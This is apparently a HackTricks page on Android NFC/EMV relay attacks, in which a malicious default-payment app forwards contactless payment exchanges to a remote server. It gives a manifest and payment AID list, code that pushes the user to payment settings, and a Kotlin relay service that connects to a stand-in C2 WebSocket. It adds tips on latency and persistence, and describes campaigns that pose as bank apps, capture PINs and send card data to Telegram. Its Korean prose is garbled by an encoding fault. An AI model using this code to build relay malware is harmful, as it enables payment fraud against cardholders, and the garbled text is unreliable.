Android HCE NFC/EMV Relay Attacks

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๊ฐœ์š”

Android Host Card Emulation (HCE)์˜ ์•…์šฉ์€ ๊ธฐ๋ณธ NFC ๊ฒฐ์ œ ์„œ๋น„์Šค๋กœ ์„ค์ •๋œ ์•…์„ฑ ์•ฑ์ด EMV ๋น„์ ‘์ด‰์‹ ๊ฑฐ๋ž˜๋ฅผ ์‹ค์‹œ๊ฐ„์œผ๋กœ ์ค‘๊ณ„ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. POS ๋‹จ๋ง๊ธฐ๋Š” ์ „ํ™”๊ธฐ์™€ ISO 14443-4/EMV๋กœ ํ†ต์‹ ํ•˜๊ณ ; ์•ฑ์˜ HostApduService๋Š” APDUs๋ฅผ ์ˆ˜์‹ ํ•˜์—ฌ ์–‘๋ฐฉํ–ฅ C2(์ข…์ข… WebSocket)๋ฅผ ํ†ตํ•ด ์‘๋‹ต์„ ์ƒ์„ฑํ•˜๋Š” ๋ฐฑ์—”๋“œ๋กœ ์ „๋‹ฌํ•˜๋ฉฐ, ๊ทธ ์‘๋‹ต์ด ๋‹ค์‹œ POS๋กœ ์ค‘๊ณ„๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋กœ์ปฌ ์นด๋“œ ๋ฐ์ดํ„ฐ ์—†์ด ์‹ค์‹œ๊ฐ„ ์นด๋“œ ์—๋ฎฌ๋ ˆ์ด์…˜์„ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ๋Œ€๊ทœ๋ชจ๋กœ ๊ด€์ฐฐ๋œ ์บ ํŽ˜์ธ๋“ค์€ ์€ํ–‰/์ •๋ถ€ ์•ฑ์œผ๋กœ ๊ฐ€์žฅํ•˜์—ฌ ๊ธฐ๋ณธ ๊ฒฐ์ œ ์•ฑ์ด ๋˜๋„๋ก ์š”์ฒญํ•˜๊ณ , ๊ธฐ๊ธฐ/์นด๋“œ ๋ฐ์ดํ„ฐ๋ฅผ Telegram ๋ด‡/์ฑ„๋„๋กœ ์ž๋™ ํƒˆ์ทจํ•ฉ๋‹ˆ๋‹ค.

์ฃผ์š” ํŠน์ง•

  • Android ๊ตฌ์„ฑ์š”์†Œ: HostApduService + ๊ธฐ๋ณธ NFC ๊ฒฐ์ œ ํ•ธ๋“ค๋Ÿฌ(์นดํ…Œ๊ณ ๋ฆฌ โ€œpaymentโ€)
  • ์ „์†ก/C2: APDU ์ค‘๊ณ„๋ฅผ ์œ„ํ•œ WebSocket; ํƒˆ์ทจ/์šด์˜์„ ์œ„ํ•œ Telegram bot API
  • ์šด์˜์ž ์›Œํฌํ”Œ๋กœ์šฐ: ๊ตฌ์กฐํ™”๋œ ๋ช…๋ น๋“ค (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
  • ์—ญํ• : scanner (EMV ๋ฐ์ดํ„ฐ ์ฝ๊ธฐ) vs tapper (HCE/relay) ๋นŒ๋“œ

์ตœ์†Œ ๊ตฌํ˜„ ๊ตฌ์„ฑ ์š”์†Œ

Manifest (๊ธฐ๋ณธ ๊ฒฐ์ œ HCE ์„œ๋น„์Šค๊ฐ€ ๋˜๊ธฐ)

<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>

<application ...>
<service
android:name=".EmvRelayService"
android:exported="true"
android:permission="android.permission.BIND_NFC_SERVICE">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
</intent-filter>
<meta-data
android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/aid_list"/>
</service>
</application>

EMV ๊ฒฐ์ œ ์นดํ…Œ๊ณ ๋ฆฌ์˜ ์˜ˆ์ œ AID ๋ชฉ๋ก (๊ธฐ๋ณธ ๊ฒฐ์ œ๋กœ ์„ค์ •๋œ ์•ฑ๋งŒ ์ด๋Ÿฌํ•œ AID์— ์‘๋‹ตํ•  ์ˆ˜ ์žˆ์Œ):

<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/app_name"
android:requireDeviceUnlock="false">
<aid-group android:category="payment" android:description="@string/app_name">
<!-- PPSE (2PAY.SYS.DDF01) routing -->
<aid-filter android:name="325041592E5359532E4444463031"/>
<!-- Common EMV AIDs (examples): -->
<aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
<aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
<aid-filter android:name="A00000002501"/>   <!-- AmEx -->
</aid-group>
</host-apdu-service>

์‚ฌ์šฉ์ž์—๊ฒŒ ๊ธฐ๋ณธ ๊ฒฐ์ œ ์•ฑ์„ ์„ค์ •ํ•˜๋„๋ก ์š”์ฒญ (OS ์„ค์ •์„ ์—ฝ๋‹ˆ๋‹ค):

val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)

HostApduService ๋ฆด๋ ˆ์ด ์Šค์ผˆ๋ ˆํ†ค

class EmvRelayService : HostApduService() {
private var ws: okhttp3.WebSocket? = null

override fun onCreate() {
super.onCreate()
// Establish C2 WebSocket early; authenticate and register device
val client = okhttp3.OkHttpClient()
val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
}

override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
// Marshal APDU to C2 and block until response
val id = System.nanoTime()
val msg = mapOf(
"type" to "apdu_command",
"id" to id,
"data" to commandApdu!!.toHex()
)
val response = sendAndAwait(msg) // wait for matching apdu_response{id}
return response.hexToBytes()
}

override fun onDeactivated(reason: Int) {
ws?.send("{\"type\":\"card_removed\"}")
}

private fun sendAndAwait(m: Any): String {
// Implement correlation + timeout; handle error/blocked status
// ...
return "9000" // fall back to SW success if needed
}
}

์œ ์˜์‚ฌํ•ญ: ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์„œ๋น„์Šค๋Š” POS ํƒ€์ž„์•„์›ƒ ์˜ˆ์‚ฐ(์•ฝ ์ˆ˜๋ฐฑ ms) ๋‚ด์— APDU๋ณ„๋กœ ์‘๋‹ตํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค; ์ €์ง€์—ฐ socket์„ ์œ ์ง€ํ•˜๊ณ  C2์™€ pre-auth๋ฅผ ์œ ์ง€ํ•˜์„ธ์š”. ํ•„์š”ํ•˜๋ฉด ํฌ๊ทธ๋ผ์šด๋“œ ์„œ๋น„์Šค๋ฅผ ์‚ฌ์šฉํ•ด ํ”„๋กœ์„ธ์Šค ์ข…๋ฃŒ ์ดํ›„์—๋„ ์ง€์†์‹œํ‚ค์„ธ์š”.

์ผ๋ฐ˜์ ์ธ C2 ๋ช…๋ น ์ง‘ํ•ฉ (๊ด€์ฐฐ๋จ)

login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error

EMV ๋น„์ ‘์ด‰ ๊ตํ™˜ (์ž…๋ฌธ)

The POS drives the flow; the HCE app simply relays APDUs:

  • SELECT PPSE (2PAY.SYS.DDF01)
  • 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
  • SELECT application AID (e.g., VISA A0000000031010)
  • 00 A4 04 00 len 00
  • GET PROCESSING OPTIONS (GPO)
  • 80 A8 00 00 Lc 00
  • READ RECORD(S) per AFL
  • 00 B2 <SFI/record> 0C 00
  • GENERATE AC (ARQC/TC)
  • 80 AE 80 00 Lc 00

In a relay, the backend crafts valid FCI/FCP, AFL, records and a cryptogram; the phone only forwards bytes.

์‹ค์ „์—์„œ ๊ด€์ฐฐ๋œ ์šด์˜์ž ์›Œํฌํ”Œ๋กœ์šฐ

  • Deception + install: app re-skins as bank/gov portal, presents full-screen WebView and immediately requests to become default NFC payment app.
  • Event-triggered activation: NFC tap wakes HostApduService; the relay begins.
  • Scanner/Tapper roles: one build reads EMV data from a victim card (PAN, exp, tracks, device/EMV fields) and exfiltrates; another build (or the same device later) performs HCE relay to a POS.
  • Exfiltration: device/card data is auto-posted to private Telegram channels/bots; WebSocket coordinates sessions and UI prompts (e.g., on-device PIN UI).

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ